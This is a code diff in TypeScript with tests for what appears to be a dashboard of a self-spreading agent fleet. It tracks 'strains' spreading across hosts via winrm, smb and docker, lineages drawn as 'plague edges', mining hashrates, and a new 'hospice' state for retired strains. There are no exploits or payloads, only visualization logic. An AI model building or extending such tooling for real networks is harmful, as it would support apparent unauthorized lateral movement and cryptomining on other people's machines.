const interrupted = graph.interrupted.length; const interrupted = graph.interrupted.length;
@@ -171,6 +182,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
> >
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }} /> <span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }} />
STRAIN_EPIDEMIOLOGY // {graph.nodes.length} STRAINS · {plagueEdges} PLAGUE_EDGES STRAIN_EPIDEMIOLOGY // {graph.nodes.length} STRAINS · {plagueEdges} PLAGUE_EDGES
{museumStrains > 0 && ` · ${museumStrains} MUSEUM`}
{graph.goalPath.length > 0 && ` · GOAL_PATH ${graph.goalPath.length}`} {graph.goalPath.length > 0 && ` · GOAL_PATH ${graph.goalPath.length}`}
{continuousStrains > 0 && ` · ${continuousStrains} MINING`} {continuousStrains > 0 && ` · ${continuousStrains} MINING`}
{interrupted > 0 && ` · ${interrupted} INTERRUPTED`} {interrupted > 0 && ` · ${interrupted} INTERRUPTED`}

View File

@@ -57,6 +57,27 @@ describe('buildEpidemiologyGraph', () => {
expect(winrm?.hostCount).toBe(2); expect(winrm?.hostCount).toBe(2);
}); });
it('marks hospice strains as museum gray without plague edges', () => {
const strain = '#aabbcc';
const graph = buildEpidemiologyGraph(
[
mkAgent({ id: 'a1', spread_strain: strain, join_lane: 'winrm' }),
mkAgent({
id: 'a2',
spread_strain: '#112233',
parent_agent_id: 'a1',
join_lane: 'smb',
spread_generation: 1,
}),
],
[strain],
);
const museum = graph.nodes.find((n) => n.id === strain);
expect(museum?.inHospice).toBe(true);
expect(museum?.color).toBe('#5a5a66');
expect(graph.edges.every((e) => e.weight === 0)).toBe(true);
});
it('weights edges by successful parent spreads only', () => { it('weights edges by successful parent spreads only', () => {
const parentStrain = '#parent'; const parentStrain = '#parent';
const childStrain = '#child'; const childStrain = '#child';

View File

@@ -24,10 +24,13 @@ export interface MiningInterruptState {
parentAgentId?: string; parentAgentId?: string;
} }
export const HOSPICE_MUSEUM_COLOR = '#5a5a66';
export interface StrainNode { export interface StrainNode {
id: string; id: string;
label: string; label: string;
color: string; color: string;
inHospice?: boolean;
hostCount: number; hostCount: number;
onlineCount: number; onlineCount: number;
spreadGeneration: number; spreadGeneration: number;
@@ -278,7 +281,16 @@ export function computeGoalPath(nodes: StrainNode[], edges: StrainEdge[]): strin
* Build strain epidemiology graph from fleet agents. * Build strain epidemiology graph from fleet agents.
* Nodes aggregate hosts per strain; edges count successful parent→child spreads only. * Nodes aggregate hosts per strain; edges count successful parent→child spreads only.
*/ */
export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph { export function buildEpidemiologyGraph(
agents: Agent[],
hospiceStrains?: Set<string> | string[],
): EpidemiologyGraph {
const hospiceSet = new Set<string>();
if (hospiceStrains instanceof Set) {
for (const s of hospiceStrains) hospiceSet.add(s.trim().toLowerCase());
} else if (hospiceStrains) {
for (const s of hospiceStrains) hospiceSet.add(s.trim().toLowerCase());
}
const agentsById = new Map(agents.map((a) => [a.id, a])); const agentsById = new Map(agents.map((a) => [a.id, a]));
const strainBuckets = new Map<string, Agent[]>(); const strainBuckets = new Map<string, Agent[]>();
@@ -302,10 +314,12 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
const failedSpreads = hosts.filter(isFailedSpread).length; const failedSpreads = hosts.filter(isFailedSpread).length;
const joinLane = hosts.find((h) => h.join_lane)?.join_lane; const joinLane = hosts.find((h) => h.join_lane)?.join_lane;
const maxGen = Math.max(0, ...hosts.map((h) => h.spread_generation ?? 0)); const maxGen = Math.max(0, ...hosts.map((h) => h.spread_generation ?? 0));
const inHospice = hospiceSet.has(strain);
nodes.push({ nodes.push({
id: strain, id: strain,
label: strainLabel(strain, joinLane, maxGen), label: inHospice ? `${strainLabel(strain, joinLane, maxGen)} (museum)` : strainLabel(strain, joinLane, maxGen),
color: strain.startsWith('#') ? strain : `#${strain}`, color: inHospice ? HOSPICE_MUSEUM_COLOR : strain.startsWith('#') ? strain : `#${strain}`,
inHospice,
hostCount: hosts.length, hostCount: hosts.length,
onlineCount: online.length, onlineCount: online.length,
spreadGeneration: maxGen, spreadGeneration: maxGen,
@@ -349,6 +363,9 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
}; };
edgeMap.set(key, edge); edgeMap.set(key, edge);
} }
if (hospiceSet.has(source) || hospiceSet.has(target)) {
continue;
}
if (isSuccessfulSpread(child)) edge.weight += 1; if (isSuccessfulSpread(child)) edge.weight += 1;
else if (isFailedSpread(child)) edge.failedWeight += 1; else if (isFailedSpread(child)) edge.failedWeight += 1;
} }
@@ -381,6 +398,7 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph {
} }
export function nodeEmissiveIntensity(node: StrainNode): number { export function nodeEmissiveIntensity(node: StrainNode): number {
if (node.inHospice) return 0.15;
if (node.branchStatus === 'success' || node.miningContinuity === 'continuous') return 2.2; if (node.branchStatus === 'success' || node.miningContinuity === 'continuous') return 2.2;
if (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted') return 0.25; if (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted') return 0.25;
if (node.branchStatus === 'mixed') return 1.0; if (node.branchStatus === 'mixed') return 1.0;
@@ -388,6 +406,7 @@ export function nodeEmissiveIntensity(node: StrainNode): number {
} }
export function nodeWireOpacity(node: StrainNode): number { export function nodeWireOpacity(node: StrainNode): number {
if (node.inHospice) return 0.35;
if (node.branchStatus === 'failed') return 0.2; if (node.branchStatus === 'failed') return 0.2;
if (node.miningContinuity === 'interrupted') return 0.35; if (node.miningContinuity === 'interrupted') return 0.35;
return 0.85; return 0.85;

View File

@@ -39,6 +39,18 @@ describe('pathTracerTimeline', () => {
expect(pick?.id).toBe('win'); expect(pick?.id).toBe('win');
}); });
it('skips hospice strains for fork-merge parent selection', () => {
const hospice = new Set(['#ab88e4']);
const pick = pickMergeCandidate(
[
branch({ id: 'hospice-win', status: 'won', spread_lanes: ['winrm'] }),
branch({ id: 'ok-run', status: 'running', spread_lanes: ['docker'] }),
],
hospice,
);
expect(pick?.id).toBe('ok-run');
});
it('maps status to CSS class', () => { it('maps status to CSS class', () => {
expect(branchStatusClass('won')).toBe('won'); expect(branchStatusClass('won')).toBe('won');
expect(branchStatusClass('running')).toBe('running'); expect(branchStatusClass('running')).toBe('running');

View File

@@ -2,6 +2,8 @@
* Onion timeline fork/merge helpers for Path Tracer UI + Seer/AI context. * Onion timeline fork/merge helpers for Path Tracer UI + Seer/AI context.
*/ */
import { spreadStrainFromJoinLane } from './fleetTopologyEpidemiology';
export type TimelineBranchStatus = export type TimelineBranchStatus =
| 'canonical' | 'canonical'
| 'running' | 'running'
@@ -89,8 +91,28 @@ export function ghostBranchesByHop(branches: PathTraceTimelineBranch[]): Map<num
return map; return map;
} }
export function pickMergeCandidate(branches: PathTraceTimelineBranch[]): PathTraceTimelineBranch | null { function branchPrimaryLane(branch: PathTraceTimelineBranch): string {
const ghosts = branches.filter((b) => b.is_ghost); return branch.spread_lanes?.[0]?.trim() ?? '';
}
/** Spread strain from join lane — mirrors Go SpreadStrainFromJoinLane for hospice guards. */
export function spreadStrainFromPersonaLane(lane: string): string {
if (!lane) return '';
return spreadStrainFromJoinLane(lane).toLowerCase();
}
export function pickMergeCandidate(
branches: PathTraceTimelineBranch[],
hospiceStrains?: Set<string>,
): PathTraceTimelineBranch | null {
const hospice = hospiceStrains ?? new Set<string>();
const eligible = (b: PathTraceTimelineBranch) => {
const lane = branchPrimaryLane(b);
if (!lane || hospice.size === 0) return true;
const strain = spreadStrainFromPersonaLane(lane);
return strain === '' || !hospice.has(strain);
};
const ghosts = branches.filter((b) => b.is_ghost && eligible(b));
const won = ghosts.find((b) => b.status === 'won' || b.mining_linked); const won = ghosts.find((b) => b.status === 'won' || b.mining_linked);
if (won) return won; if (won) return won;
const running = ghosts.find((b) => b.status === 'running'); const running = ghosts.find((b) => b.status === 'running');

View File

@@ -11,6 +11,30 @@ export function isPathTraceTimelineEvent(event: SeerEventRecord): boolean {
return event.event_type === 'pathtrace_timeline'; return event.event_type === 'pathtrace_timeline';
} }
export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
return event.event_type === 'onion_miner_log';
}
export function onionMinerLogSummary(event: SeerEventRecord): string {
if (!isOnionMinerLogEvent(event)) return '';
const p = event.payload ?? {};
const method = typeof p.method === 'string' ? p.method : 'branch';
const outcome = typeof p.outcome === 'string' ? p.outcome : 'update';
const depth = typeof p.contingency_depth === 'number' ? p.contingency_depth : undefined;
const ghost = p.is_ghost === true ? ' · ghost' : '';
const hr = typeof p.hashrate === 'number' && p.hashrate > 0 ? ` · ${Math.round(p.hashrate)} H/s` : '';
if (outcome === 'exhausted') {
return `Contingency exhausted${depth != null ? ` · depth ${depth}` : ''} — awaiting court branch params`;
}
if (outcome === 'strain_retired') {
return 'Contingency hospice — strain retired after max exhaustion cycles';
}
if (outcome === 'won' || outcome === 'ghost_won') {
return `Contingency ${method} linked${hr}${ghost}${depth != null ? ` · depth ${depth}` : ''}`;
}
return `Contingency ${method} ${outcome}${ghost}${depth != null ? ` · depth ${depth}` : ''}`;
}
export function pathTraceTimelineSummary(event: SeerEventRecord): string { export function pathTraceTimelineSummary(event: SeerEventRecord): string {
if (!isPathTraceTimelineEvent(event)) return ''; if (!isPathTraceTimelineEvent(event)) return '';
const p = event.payload ?? {}; const p = event.payload ?? {};
@@ -28,6 +52,8 @@ export function isSurgicalReplayEvent(event: SeerEventRecord): boolean {
return event.event_type === 'surgical_replay'; return event.event_type === 'surgical_replay';
} }
export { isMiningSelfSurgeryEvent, miningSelfSurgerySummary } from './miningSelfSurgery';
export function surgicalReplaySummary(event: SeerEventRecord): string { export function surgicalReplaySummary(event: SeerEventRecord): string {
if (!isSurgicalReplayEvent(event)) { if (!isSurgicalReplayEvent(event)) {
return ''; return '';